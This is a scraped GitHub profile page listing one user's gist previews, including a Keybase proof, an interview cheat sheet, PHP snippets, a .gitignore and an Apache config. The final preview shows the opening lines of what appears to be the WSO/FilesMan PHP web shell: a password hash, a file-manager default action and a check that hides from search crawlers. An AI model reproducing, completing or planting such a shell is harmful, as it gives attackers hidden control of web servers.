Skip to content

Instantly share code, notes, and snippets.

View samvaughton's full-sized avatar

Sam samvaughton

  • Situ
  • Devon
  • 21:09 (UTC +01:00)
View GitHub Profile
@samvaughton
samvaughton / keybase.md
Created September 1, 2021 07:31
keybase.md

Keybase proof

I hereby claim:

  • I am samvaughton on github.
  • I am samvaughton (https://keybase.io/samvaughton) on keybase.
  • I have a public key ASAU3reIi_e1nAsgqXK4mZfNnnBLYrJ4yUkdZRpVH1SFcAo

To claim this, I am signing this object:

@samvaughton
samvaughton / The Technical Interview Cheat Sheet.md
Created May 14, 2018 16:55 — forked from tsiege/The Technical Interview Cheat Sheet.md
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.

Studying for a Tech Interview Sucks, so Here's a Cheat Sheet to Help

This list is meant to be a both a quick guide and reference for further research into these topics. It's basically a summary of that comp sci course you never took or forgot about, so there's no way it can cover everything in depth. It also will be available as a gist on Github for everyone to edit and add to.

Data Structure Basics

###Array ####Definition:

  • Stores data elements based on an sequential, most commonly 0 based, index.
  • Based on tuples from set theory.
<?php
$query = DB::table('customers');
$dth = new DataTable(\Input::all(), $query, array(
new Column("id", array(
'process' => function($columnData, $rowData) {
return "#{$columnData}";
}
)),
new Column("name"),
# Composer
vendor
vendor/*
!public/assets/js/vendor
!public/assets/js/vendor/*
!public/assets/css/vendor
!public/assets/css/vendor/*
composer.phar
composer.lock
@samvaughton
samvaughton / TestCoinChange.php
Last active December 27, 2015 16:19
Get the lowest amount of coins for a given change value.
<?php
// Just a PHPUnit test case for this function. Passes on 3.6.10 of PHPUnit.
public function testCoinChange()
{
$testStub = array(
99 => array(1, 2, 0, 1, 2, 0),
50 => array(1, 0, 0, 0, 0, 0),
3 => array(0, 0, 0, 0, 1, 1),
#
# This is the main Apache HTTP server configuration file. It contains the
# configuration directives that give the server its instructions.
# See <URL:httpd.apache.org/docs/2.2>; for detailed information.
# In particular, see
# <URL:httpd.apache.org/docs/2.2/mod/…;
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {